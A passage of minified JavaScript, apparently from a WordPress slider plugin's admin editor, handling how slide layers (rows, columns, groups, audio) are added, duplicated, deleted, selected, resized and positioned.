"+(e.subList[i].filter?' data-filter="'+e.subList[i].filter+'"':"")+" "+(e.subList[i].selected?' data-selected="'+e.subList[i].selected+'"':"")+' data-evt="'+e.subList[i].evt+'" data-libevent="'+e.subList[i].libevent+'" data-libfilters="'+e.subList[i].libfilters+'" obj.data-type="'+e.type+'" data-subtype="'+e.subtype+'" data-subsubtype="'+i+'"><i class="material-icons">'+e.subList[i].icon+"</i>"+e.subList[i].name+"</div>");t+="</div>",t+="</div>"}else t='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>";jQuery(t).insertAfter("#toolbar_add_layer_group")}},RVS.F.addLayer=function(e,t){RVS.DOC.trigger("changeToLayerMode"),e.ignoreBackupGroup||t||RVS.F.openBackupGroup({id:"addLayer",txt:"Create New "+e.type+" Layer",icon:"layers",lastkey:"layer"});var i,a,r,s,o,n,l,d,S="paste"===e.copyPaste?window.copyPasteLayers.layers:RVS.L;switch(e.type){case"row":if(void 0===e.duplicateId){i=a=RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!0});for(var c=0;c<3;c++)RVS.F.addLayerToLayers({type:"column",puid:i,alias:"column",buildHTMLLayer:!0})}else{i=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0});var p=RVS.F.getColumnsInRow({layerid:e.duplicateId,copyPaste:e.copyPaste});for(var u in p)if(p.hasOwnProperty(u)){var R=RVS.F.addLayerToLayers({puid:i,layerobject:S[p[u]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),V=RVS.F.getLayersFirstDepth({layerid:p[u],copyPaste:e.copyPaste});for(o in V)if(V.hasOwnProperty(o)&&(d=RVS.F.addLayerToLayers({puid:R,layerobject:S[V[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),"group"==S[V[o]].type))for(n in s=RVS.F.getLayersFirstDepth({layerid:V[o],copyPaste:e.copyPaste}))s.hasOwnProperty(n)&&RVS.F.addLayerToLayers({puid:d,layerobject:S[s[n]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix})}}break;case"column":var y;if(void 0===e.duplicateId)a=RVS.F.addLayerToLayers({type:"column",puid:e.puid,alias:"column",buildHTMLLayer:!0});else for(o in y=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],newGroupOrder:!0,buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),r=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))r.hasOwnProperty(o)&&RVS.F.addLayerToLayers({puid:y,layerobject:S[r[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"group":if(void 0===e.duplicateId)a=RVS.F.addLayerToLayers({type:"group",alias:"group",buildHTMLLayer:!0});else for(o in l=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0}),r=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))if(r.hasOwnProperty(o)&&(d=RVS.F.addLayerToLayers({puid:l,layerobject:S[r[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),"group"==S[r[o]].type))for(n in s=RVS.F.getLayersFirstDepth({layerid:r[o],copyPaste:e.copyPaste}))s.hasOwnProperty(n)&&RVS.F.addLayerToLayers({puid:d,layerobject:S[s[n]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"linebreak":a=RVS.F.addLayerToLayers({type:"shape",alias:"linebreak",buildHTMLLayer:!0,extension:{size:{width:{d:{v:"100%"},n:{v:"100%"},t:{v:"100%"},m:{v:"100%"}},height:{d:{v:"10px"},n:{v:"10px"},t:{v:"10px"},m:{v:"10px"}}},idle:{backgroundColor:"transparent",clear:{d:{v:"both"},n:{v:"both"},t:{v:"both"},m:{v:"both"}}},position:{position:"relative"},linebreak:!0}});break;default:switch(a="predefined"===e.subtype?RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0,extension:e.extension}):void 0===e.duplicateId?void 0!==RVS.S.extendedLayerTypes&&void 0!==RVS.S.extendedLayerTypes[e.subtype]||void 0!==RVS.S.extendedLayerTypes&&void 0!==e.extensiongroup&&void 0!==RVS.S.extendedLayerTypes[e.extensiongroup]?void 0!==e.extensiongroup?RVS.F.addLayerToLayers({type:e.type,alias:e.type,subsubtype:e.subsubtype,subextension:null!=RVS.S.extendedLayerTypes[e.subtype]&&void 0!==RVS.S.extendedLayerTypes[e.subtype].subextension?RVS.S.extendedLayerTypes[e.subtype].subextension[e.subsubtype]:void 0,extension:RVS.S.extendedLayerTypes[e.extensiongroup].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,subsubtype:e.subsubtype,subextension:null!=RVS.S.extendedLayerTypes[e.subtype]&&void 0!==RVS.S.extendedLayerTypes[e.subtype].subextension?RVS.S.extendedLayerTypes[e.subtype].subextension[e.subsubtype]:void 0,extension:RVS.S.extendedLayerTypes[e.subtype].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:-1!==S[e.duplicateId].group.puid}),e.subtype){case"wordpress_library":"image"===e.type?jQuery("#image_layer_media_library_button").trigger("click"):"video"===e.type&&jQuery("#video_layer_media_library_button").trigger("click");break;case"object_library":if("object"===e.type)RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["fonticons"],success:{icon:"insertContentFromOL"}});else if("image"===e.type)jQuery("#image_layer_object_library_button").trigger("click");else if("video"===e.type)jQuery("#video_layer_object_library_button").trigger("click");else if(void 0!==e.libfilters){var m=e.libfilters.split(",");RVS.F.openObjectLibrary({types:m,filter:"undefined"==e.filter||null==e.filter?"all":e.filter,selected:["undefined"==e.selected||null==e.selected?m[0]:e.selected],success:{custom:e.libevent},extension:e.extensiongroup})}break;case"headline":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["headlines","content"]});break;case"simple_content":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["content","headlines"]});break;case"button":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["button"]});break;case"predefined":break;default:e.ignoreBackupGroup=void 0!==RVS.F.subOpenQuickStyle&&void 0!==RVS.F.subOpenQuickStyle[e.subtype]&&RVS.F.subOpenQuickStyle[e.subtype](e.subsubtype)}}return e.ignoreBackupGroup||t||RVS.F.closeBackupGroup({id:"addLayer"}),e.ignoreLayerList||RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),e.ignoreOrderHTMLLayers||RVS.F.reOrderHTMLLayers(),void 0!==RVS.eMode&&"layer"===RVS.eMode.top&&"animation"===RVS.eMode.mode&&RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0),RVS.DOC.trigger("layerAdded",{layerid:a,params:e}),a},RVS.F.deleteLayerSingle=function(e){RVS.F.backup({path:e.layerid,icon:"layers",txt:"Remove Layer",lastkey:"removelayer",force:!0,slideid:RVS.S.slideId,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[e.layerid],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[e.layerid],delete RVS.H[e.layerid],RVS.F.updateTriggeringActionRelations(e.layerid),jQuery("#_lc_"+RVS.S.slideId+"_"+e.layerid+"_").remove()},RVS.F.deleteLayerfromLayers=function(e,t){if(void 0!==RVS.L[e.layerid]){if(!t){RVS.DOC.trigger("changeToLayerMode");var i=!1;void 0!==e.groupisopen||RVS.S.bckpGrp||(RVS.S.bckpGrp||(i=!0),RVS.F.openBackupGroup({id:"removeLayer",txt:"Remove "+RVS.L[e.layerid].type+" Layer",icon:"delete",lastkey:"layer"}))}if("row"==RVS.L[e.layerid].type||"column"==RVS.L[e.layerid].type||"group"==RVS.L[e.layerid].type){var a=RVS.F.getLayersFirstDepth({layerid:e.layerid});for(var r in a)a.hasOwnProperty(r)&&(void 0===e.newpuid||t?RVS.F.deleteLayerfromLayers({layerid:a[r]},!0):(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+a[r]+".group.puid",val:e.newpuid}),void 0!==RVS.H[a[r]]&&void 0!==RVS.H[a[r]].w&&(delete RVS.H[a[r]].w[0].dataset.dragandresize,void 0!==RVS.H[a[r]].sclr&&null!==RVS.H[a[r]].sclr&&(RVS.H[a[r]].sclr.remove(),RVS.H[a[r]].sclr=void 0))))}RVS.F.deleteLayerSingle(e),t||i&&(RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0}))}},RVS.F.updateSelectedHtmlLayers=function(e,t){requestAnimationFrame(function(){let i=document.querySelectorAll(".hasSelectedChild");for(var a in i.forEach(e=>{e.classList.remove("hasSelectedChild"),delete e.dataset.selectedchild}),RVS.L)if(RVS.L.hasOwnProperty(a)&&"top"!==a&&"bottom"!==a&&"middle"!==a)if(!e&&RVS.F.inSelectedLayers({id:a})&&void 0!==RVS.H[a]){RVS.H[a].w[0].classList.add("selected"),RVS.H[a].selected=!0;var r=RVS.F.getTopParent({layer:a});-1!==r&&"group"==RVS.L[r].type&&(RVS.H[r].w[0].classList.add("hasSelectedChild"),r!=RVS.L[a].group.puid&&RVS.H[RVS.L[a].group.puid].w[0].classList.add("hasSelectedChild"),RVS.H[r].w[0].dataset.selectedchild=void 0===RVS.H[r].w[0].dataset.selectedchild?a:"multiple"),RVS.F.setZindex({id:a,o:475})}else void 0!==RVS.H[a]&&(!0!==t&&(RVS.H[a].w[0].classList.remove("selected"),RVS.H[a].selected=!1),RVS.F.setZindex({id:a}))})},RVS.F.updateStaticStartEndList=function(){window.staticLayerStartIndex=void 0===window.staticLayerStartIndex?jQuery("#staticlayer_Startindex"):window.staticLayerStartIndex,window.staticLayerEndIndex=void 0===window.staticLayerEndIndex?jQuery("#staticlayer_Endindex"):window.staticLayerEndIndex,RVS.F.removeAllOptionsS2({select:window.staticLayerStartIndex}),RVS.F.removeAllOptionsS2({select:window.staticLayerEndIndex});for(var e=1;e<RVS.SLIDER.slideIDs.length-1;e++)RVS.F.addOptionS2({select:window.staticLayerStartIndex,val:e.toString(),txt:e}),RVS.F.addOptionS2({select:window.staticLayerEndIndex,val:(e+1).toString(),txt:e+1});RVS.F.addOptionS2({select:window.staticLayerEndIndex,val:"last",txt:RVS_LANG.lastslide})},RVS.F.setZindex=function(e){e.o=null==e.o?0:e.o,void 0!==RVS.H[e.id]&&void 0!==RVS.H[e.id].w&&tpGS.gsap.set(RVS.H[e.id].w,{zIndex:parseInt(RVS.L[e.id].position.zIndex,0)+parseInt(e.o,0)})},RVS.F.allLayersReDraw=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.F.drawHTMLLayer({uid:e})},RVS.F.selectedLayersVisualUpdate=function(){for(var e in jQuery(".layerselector").removeClass("checked"),jQuery(".tllayerlist_element").removeClass("checked"),RVS.S.selLayerTypes)RVS.S.selLayerTypes.hasOwnProperty(e)&&(RVS.S.selLayerTypes[e]=!1,inset=!1);var t=!1,i="";for(var a in RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.selLayers[a]).addClass("checked"),jQuery("#tllayerlist_element_selector_"+RVS.S.slideId+"_"+RVS.selLayers[a]).addClass("checked"),inset=1==inset||"fullinset"==RVS.L[RVS.selLayers[a]].size.covermode,t||-1==RVS.L[RVS.selLayers[a]].group.puid||(t="column"===RVS.L[RVS.L[RVS.selLayers[a]].group.puid].type?"column":"group"===RVS.L[RVS.L[RVS.selLayers[a]].group.puid].type?"group":"root"),RVS.S.selLayerTypes[RVS.L[RVS.selLayers[a]].type]=!0,void 0!==RVS.L[RVS.selLayers[a]].subtype&&""!==RVS.L[RVS.selLayers[a]].subtype&&(RVS.S.selLayerTypes[RVS.L[RVS.selLayers[a]].subtype]=!0,void 0!==RVS.L[RVS.selLayers[a]].subsubtype&&""!==RVS.L[RVS.selLayers[a]].subsubtype&&(RVS.S.selLayerTypes[RVS.L[RVS.selLayers[a]].subsubtype]=!0)));for(var e in RVS.S.selLayerTypes)RVS.S.selLayerTypes.hasOwnProperty(e)&&RVS.S.selLayerTypes[e]&&(i=i+" _"+e+"_sel_");i=""==i?"no_layers_selected":i+" _layer_in_"+(0==t?"root":t)+"_sel_"+(inset?" layer_is_inset":""),i=RVS.selLayers.length>1?i+" multiple_layers_selected":i,RVS.C.the_cont[0].className=i},RVS.F.doResizeLayers=function(e){if(!(RVS.selLayers.length>1||0===RVS.selLayers.length))switch(e.mode){case"init":if(window.RSCBS={},window.RSCBS[RVS.selLayers[0]]=o(RVS.L[RVS.selLayers[0]]),"group"===RVS.L[RVS.selLayers[0]].type||"auto"!==window.RSCBS[RVS.selLayers[0]].width||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||("full"!==window.RSCBS[RVS.selLayers[0]].wrap&&"normal"!==window.RSCBS[RVS.selLayers[0]].wrap||(RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v="content"),window.RSCBS[RVS.selLayers[0]].CacheWidth=window.RSCBS[RVS.selLayers[0]].width,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].width?RVS.H[RVS.selLayers[0]].w.width():window.RSCBS[RVS.selLayers[0]].width),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers=RVS.F.getLayersFirstDepth({layerid:RVS.selLayers[0]}),window.RSCBS.layers)window.RSCBS[window.RSCBS.layers[t]]=o(RVS.L[window.RSCBS.layers[t]]);break;case"update":if(l({layerid:RVS.selLayers[0],size:e.size}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0});break;case"set":var i=!1;if("group"!==RVS.L[RVS.selLayers[0]].type&&-1===RVS.L[RVS.selLayers[0]].group.puid&&("text"===RVS.L[RVS.selLayers[0]].type||"button"===RVS.L[RVS.selLayers[0]].type)&&RVS.S.layer_grid_offset.left+RVS.S.lgw>RVS.H[RVS.selLayers[0]].w.offset().left+RVS.H[RVS.selLayers[0]].w.width()&&(i=!0,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].CacheWidth?"auto":window.RSCBS[RVS.selLayers[0]].width),l({layerid:RVS.selLayers[0],size:1}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:1});if(RVS.F.openBackupGroup({id:"layerScaling",txt:"Layer Scaling",icon:"layers",lastkey:"layer"}),n({layerid:RVS.selLayers[0],size:e.size,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1}),!0===i?RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v=window.RSCBS[RVS.selLayers[0]].wrap:"group"===RVS.L[RVS.selLayers[0]].type||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||window.RSCBS[RVS.selLayers[0]].width===window.RSCBS[RVS.selLayers[0]].CacheWidth||"auto"!=window.RSCBS[RVS.selLayers[0]].CacheWidth||RVS.F.showInfo({content:RVS_LANG.layerbleedsout,type:"info",showdelay:0,hidedelay:8,hideon:"",event:""}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)n({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1});RVS.F.closeBackupGroup({id:"layerScaling"})}},RVS.F.selectLayers=function(e){RVS.S.justresized||(e=void 0===e?{}:e,"animation"!==RVS.eMode.mode?RVS.S.keyFrame="idle":!0===e.keepSelectedFrame&&void 0!==RVS.S.keyFrame||(e.selectedKeyFrame=void 0===e.selectedKeyFrame?"idle":e.selectedKeyFrame,RVS.S.keyFrame=e.selectedKeyFrame),void 0===e||"add"!==e.action||void 0===e.id||!RVS.L[e.id].visibility||!RVS.L[e.id].visibility.locked&&RVS.L[e.id].visibility.visible||(e.action="remove"),e.ignoreModeChange||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||(RVS.F.mainMode({set:!1,ignoreReDraw:!0,mode:"slidelayout"}),RVS.F.showHideLayerEditor({mode:"slidecontent",openSettings:!1})),e.overwrite?(RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],void 0,!0),RVS.selLayers=[]):RVS.selLayers.length>0&&!e.quickmode&&"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu&&RVS.F.showInfo({content:RVS_LANG.noMultipleSelectionOfLayers,type:"info",showdelay:.2,hidedelay:2,hideon:"",event:""}),e.id="top"===e.id||"bottom"===e.id||"middle"===e.id?"ignore":void 0===e.id?e.id:parseInt(e.id,0),void 0!==e.id&&"ignore"!==e.id&&("add"===e.action&&-1==jQuery.inArray(e.id,RVS.selLayers)?RVS.selLayers.push(e.id):"remove"===e.action&&-1!==jQuery.inArray(e.id,RVS.selLayers)&&RVS.selLayers.splice(jQuery.inArray(e.id,RVS.selLayers),1)),!0===e.ignoreUpdate||e.quickmode||("onlyhtml"!==e.ignoreUpdate&&RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),"animation"!==RVS.eMode.mode&&RVS.F.updateAllLayerToIDLE(),RVS.F.updateSelectedLayersIdleHover(),RVS.C.toggledTextButton.className.indexOf("selected")>=0&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0])),!0===e.ignoreFieldUpdates||e.quickmode?e.quickmode?RVS.F.updateSelectedHtmlLayers():window.qstyle_library_open&&RVS.F.updateAvailableLayerTypes():(RVS.F.updateLayerInputFields({short:!0}),RVS.C.slit.textContent=1===RVS.selLayers.length?RVS.F.getLayerIcon(RVS.L[RVS.selLayers[0]].linebreak?"linebreak":RVS.L[RVS.selLayers[0]].type,RVS.L[RVS.selLayers[0]].subtype):"layers",RVS.DOC.trigger("selectLayersDone"),RVS.F.checkForAudioLayer()),void 0!==e.selectedKeyFrame?(RVS.TL.cache.main=(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"selectLayers"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})):e.quickmode||0!==RVS.selLayers.length||jQuery("framewrap.selected").removeClass("selected"),!e.quickmode&&RVS.S.shwLayerAnim&&RVS.DOC.trigger("previewLayerAnimation"))},RVS.F.convertTimeToSec=function(e,t){e=""===e?parseFloat(t):e;var i=!RVS.F.isNumeric(e)&&e.indexOf(":")>=0,a=0;return e=i?e.split(":"):e,null==(a=i&&e.length>1?60*parseFloat(e[0])+parseFloat(e[1]):i?parseFloat(e[0]):e)?0:a},RVS.F.updateAudioTimes=function(e){if(1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type){RVS.L[RVS.selLayers[0]].media.startAt=""===RVS.L[RVS.selLayers[0]].media.startAt?0:RVS.L[RVS.selLayers[0]].media.startAt,RVS.L[RVS.selLayers[0]].media.endAt=""===RVS.L[RVS.selLayers[0]].media.endAt?e:RVS.L[RVS.selLayers[0]].media.endAt,RVS.L[RVS.selLayers[0]].media.endAt=RVS.L[RVS.selLayers[0]].media.endAt>e?e:RVS.L[RVS.selLayers[0]].media.endAt,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt;var t=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.startAt,0),i=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.endAt,window.audiomaster.getDuration());i=0===i||i<=t?window.audiomaster.getDuration():i,window.audiomaster.regions.destroy(),window.audioregion=window.audiomaster.regions.add({start:t,end:i,color:"rgba(0,109,210,0.2)"}),window.audioregion.on("update",function(){RVS.L[RVS.selLayers[0]].media.startAt=window.audioregion.start,RVS.L[RVS.selLayers[0]].media.endAt=window.audioregion.end,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt}),window.audioregion.on("dblclick",function(){window.audioregion.play()})}},RVS.F.checkForAudioLayer=function(){1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type&&""!==RVS.L[RVS.selLayers[0]].media.audioUrl&&"FAIL"!==window.audiomaster&&(void 0===window.audiomaster?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.audiolibraryloading}),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/wavesurfer.js",function(){window.audiomaster=WaveSurfer.create({container:"#media_audio_master",cursorColor:"#5e35b1",progressColor:"transparent",height:30,plugins:[WaveSurfer.regions.create({})]}),RVS.DOC.on("listenAudioMaster",function(){window.audiomaster.play()}),RVS.DOC.on("muteAudioMaster",function(){window.audiomaster.pause()}),RVS.DOC.on("updateaudiorange",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration())}),RVS.F.checkForAudioLayer(),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100)}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.audiomaster="FAIL"})):(window.audiomaster.on("ready",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration()),jQuery("#audio_simulator").removeClass("disabled")}),window.audiomaster.on("loading",function(){jQuery("#audio_simulator").addClass("disabled")}),window.audiomaster.on("finish",function(){RVS.F.changeSwitchState({el:jQuery("#audio_simulator")[0],state:"play"})}),window.audiomaster.load(RVS.L[RVS.selLayers[0]].media.audioUrl)))},RVS.F.updateSelectedLayersIdleHover=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&("idle"===RVS.eMode.mode&&void 0!==RVS.H[e].hover?RVS.H[e].hover.seek(0).pause():"hover"!==RVS.eMode.mode||!0!==RVS.L[e].hover.usehover&&"true"!==RVS.L[e].hover.usehover&&"desktop"!==RVS.L[e].hover.usehover||void 0===RVS.H[e].hover||(jQuery.inArray(parseInt(e,0),RVS.selLayers)>=0?RVS.H[e].hover.seek(9999).pause():(RVS.F.drawHTMLLayer({uid:e}),RVS.H[e].hover.seek(0).pause())))},RVS.F.checkCurrentLayerHoverMode=function(e){"hover"!==RVS.eMode.mode||"true"!=RVS.L[e.layerid].hover.usehover&&1!=RVS.L[e.layerid].hover.usehover&&"desktop"!=RVS.L[e.layerid].hover.usehover||void 0===RVS.H[e.layerid].hover||RVS.H[e.layerid].hover.seek(9999).pause()},RVS.F.getRowStructures=function(e){if("row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow({layerid:e.layerid}),i="",a=0;for(var r in t)t.hasOwnProperty(r)&&(i=0===a?"":i+"+",i+=RVS.L[t[r]].group.columnSize,a++);return i}},RVS.F.updateRowColumnField=function(){var e="",t=!1;for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i],r="";"row"===RVS.L[a].type?r=RVS.F.getRowStructures({layerid:a}):"column"===RVS.L[a].type&&(r=RVS.F.getRowStructures({layerid:RVS.L[RVS.L[a].group.puid].uid})),"row"!==RVS.L[a].type&&"column"!==RVS.L[a].type||t||(""===e||e===r?e=r:(t=!0,e=""))}jQuery("#row_column_structure").val(RVS.F.sanitize_columns(e)).trigger("change")},RVS.F.getPrevNextLayerInOrder=function(e,t){if(void 0!==RVS.L[e]&&void 0!==RVS.L[e].group&&void 0!==RVS.L[e].group.puid){var i={order:"next"===t?99999:-2,id:e};for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].group&&RVS.L[a].group.puid==RVS.L[e].group.puid&&("next"===t&&RVS.L[a].group.groupOrder>RVS.L[e].group.groupOrder&&RVS.L[a].group.groupOrder<i.order||"prev"===t&&RVS.L[a].group.groupOrder<RVS.L[e].group.groupOrder&&RVS.L[a].group.groupOrder>i.order)&&(i.order=RVS.L[a].group.groupOrder,i.id=RVS.L[a].uid);return i.id}},RVS.F.getLayerDepth=function(e){return e.depth=null==e.depth?0:e.depth,null==RVS.L[e.layer]?e.depth:-1!=RVS.L[e.layer].group.puid?(e.depth++,e.layer=RVS.L[e.layer].group.puid,RVS.F.getLayerDepth(e)):e.depth},RVS.F.isDeeperGroup=function(e){if(null==RVS.L[e]||"group"!==RVS.L[e].type)return!1;var t=!1;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&!t&&"top"!=i&&"bottom"!=i&&"middle"!=i&&""+RVS.L[i].group.puid==""+e&&(t="group"==RVS.L[i].type);return t},RVS.F.getTopParent=function(e){return e.par=null==e.par?-1:e.par,null==RVS.L[e.layer]?e.par:-1!=RVS.L[e.layer].group.puid?(e.par=RVS.L[e.layer].group.puid,e.layer=RVS.L[e.layer].group.puid,RVS.F.getTopParent(e)):e.par},RVS.F.getColumnsInRow=function(e){var t=[],i=[];if(e.type=void 0===e.type?"column":e.type,"paste"===e.copyPaste)for(var a in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(a)&&window.copyPasteLayers.layers[a].type===e.type&&window.copyPasteLayers.layers[a].group.puid==e.layerid&&t.push({order:window.copyPasteLayers.layers[a].group.groupOrder,uid:window.copyPasteLayers.layers[a].uid});else for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].type===e.type&&RVS.L[a].group.puid==e.layerid&&t.push({order:RVS.L[a].group.groupOrder,uid:RVS.L[a].uid});for(var a in t.sort(function(e,t){return e.order-t.order}),t)t.hasOwnProperty(a)&&i.push(t[a].uid);return i},RVS.F.getLayersFirstDepth=function(e){var t=[];if("paste"===e.copyPaste)for(var i in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(i)&&window.copyPasteLayers.layers[i].group.puid==e.layerid&&t.push(window.copyPasteLayers.layers[i].uid);else for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid&&t.push(RVS.L[i].uid);return t},RVS.F.getLayersAllDepth=function(e){var t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid)if("column"===RVS.L[i].type){var a=RVS.F.getLayersFirstDepth({layerid:RVS.L[i].uid});for(var r in a)a.hasOwnProperty(r)&&t.push(a[r].uid)}else t.push(RVS.L[i].uid);return t},RVS.F.inSelectedLayers=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.selLayers[i]==e.id&&(t=!0);return t},RVS.F.notOnRoot=function(e){return void 0!==e&&void 0!==e.group&&void 0!==e.group.puid&&e.group.puid>=0&&e.group.puid<=5e3},RVS.F.groupOrColumn=function(e){return null!=e&&("column"===e.type||"group"===e.type)},RVS.F.getFirstSelectedType=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(!1===t&&RVS.L[RVS.selLayers[i]].type===e&&(t=RVS.selLayers[i]),!1===t&&RVS.F.notOnRoot(RVS.L[RVS.selLayers[i]])&&RVS.L[RVS.L[RVS.selLayers[i]].group.puid].type===e&&(t=RVS.L[RVS.selLayers[i]].group.puid));return t},RVS.F.updateAllHTMLLayerPositions=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(void 0===RVS.L[t].position.x||null!=e&&"slide"!==RVS.L[t].behavior.baseAlign||RVS.F.updateHTMLLayerPosition({uid:t}))},RVS.F.updateHTMLLayerPosition=function(e){var t=RVS.H[e.uid],i=RVS.L[e.uid];if(void 0!==i&&void 0!==t){var a,r,s={left:0,top:0},o=null==e.o?{x:0,y:0}:e.o,n=i.position.vertical[RVS.screen].v,l=i.position.horizontal[RVS.screen].v;if(a=r={x:parseInt(i.position.x[RVS.screen].v,0),y:+parseInt(i.position.y[RVS.screen].v,0)},s.force3D=!0,"row"===i.type||"column"===i.type||-1!==i.group.puid&&("column"===RVS.L[i.group.puid].type&&"relative"===i.position.position||"group"===RVS.L[i.group.puid].type&&"relative"===i.position.position)){if(null!=t.chPosRel)return;t.chPosRel=!0,!0!==t.fastDomProcess?(t.fastDomProcess=!0,fastdom.measure(function(){"relative"!==t.w[0].style.position&&fastdom.mutate(function(){t.w[0].style.position="relative",t.w[0].style.left="auto",t.w[0].style.right="auto",t.w[0].style.top="auto",t.w[0].style.bottom="auto",t.w[0].classList.add("_lc_i_rel"),t.w[0].classList.remove("_lc_i_abs")})})):requestAnimationFrame(function(){"relative"!==t.w[0].style.position&&tpGS.gsap.set(t.w,{x:0,y:0,position:"relative",left:"auto",right:"auto",top:"auto",bottom:"auto"})})}else{var d=void 0===e.lhCwidth?t.c.outerWidth():e.lhCwidth,S=void 0===e.lhCheight?"group"==i.type?t.w.outerHeight():t.c.outerHeight():e.lhCheight;if(0==d&&0==S&&(void 0===e.firstDimCheckDone||e.firstDimCheckDone<5))return 